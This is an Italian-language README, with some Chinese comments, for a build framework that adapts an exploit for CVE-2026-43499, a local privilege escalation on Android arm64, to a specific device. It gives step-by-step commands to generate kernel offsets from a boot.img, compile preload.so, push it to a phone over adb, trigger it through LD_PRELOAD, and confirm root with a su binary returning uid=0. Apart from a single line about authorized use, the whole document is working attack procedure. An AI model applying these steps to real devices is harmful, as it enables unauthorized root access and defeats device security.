CVE-2026-43499 Adattamento per l'elevazione locale dei privilegi su Android arm64

Questo è un progetto di adattamento per l'elevazione locale dei privilegi su Android arm64 per CVE-2026-43499.

Il progetto genera target.h in base al boot.img e alle informazioni del profilo del dispositivo target, quindi compila il corrispondente preload.so.

Nota: questo progetto è un framework di adattamento generico e non è legato a un singolo modello. L'effettiva funzionalità dipende dal fatto che generate_target.py riesca a generare target.h e dai risultati dei test su dispositivo reale.

Struttura delle directory

项目目录/
├── boot.img                  # 目标设备同固件 boot 镜像
├── profile_xxx.json           # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

Dipendenze richieste

Dipendenze di base

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Ambiente consigliato per Windows

Su Windows si consiglia di usare:

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Per installare make in MSYS2:

pacman -S make coreutils

Preparazione dei file

Devi preparare:

boot.img
profile_xxx.json

Esempio di profilo:

{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Questi due indirizzi nel profilo:

p0_phys_offset
p0_kernel_phys_load

Possono essere ottenuti eseguendo lo script su un telefono già rootato e con lo stesso firmware del boot.img target:

python3 detect_offset.py

Funziona anche su Windows:

python detect_offset.py

Procedura di utilizzo

1. Entra nella directory del progetto

Linux / macOS:

cd /path/to/project

Esempio Windows MSYS2:

cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. Imposta il percorso NDK

Esempio Linux / macOS:

export ANDROID_NDK_HOME=/path/to/android-ndk

Esempio Windows MSYS2:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. Genera target.h

python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Su Windows, se python3 non è disponibile, usa:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Se viene segnalato che llvm-objdump non viene trovato, specifica manualmente il percorso:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

In caso di successo vedrai un output simile a:

生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Compila preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

Al termine verrà generato:

source/build/bin/preload.so

5. Invia al dispositivo ed esegui

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Verifica:

adb shell '/data/local/tmp/su -c id'

In caso di successo di solito vedrai:

uid=0(root) gid=0(root)

Flusso in un unico passaggio su Windows MSYS2

Esempio con i tuoi percorsi:

cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

File finale:

source/build/bin/preload.so

Domande frequenti

llvm-objdump non trovato

Installa LLVM oppure usa:

--llvm-objdump "/path/to/llvm-objdump"

make non trovato

Su Windows installalo con MSYS2:

pacman -S make coreutils

clang non trovato

Di solito il percorso NDK non è configurato correttamente.

Esempio Windows MSYS2:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

Generazione di target.h fallita

Di solito significa che il boot.img corrente o il layout del kernel non è stato ancora adattato correttamente.

Verifica in particolare:

boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

Note

Dopo aver cambiato dispositivo, sistema o kernel, è necessario rigenerare target.h.
Non è consigliato modificare manualmente target.h: dovrebbe essere generato automaticamente da generate_target.py.
Usalo solo su dispositivi e ambienti per cui sei autorizzato.

CVE-2026-43499-Poc-Analysis

Più Popolari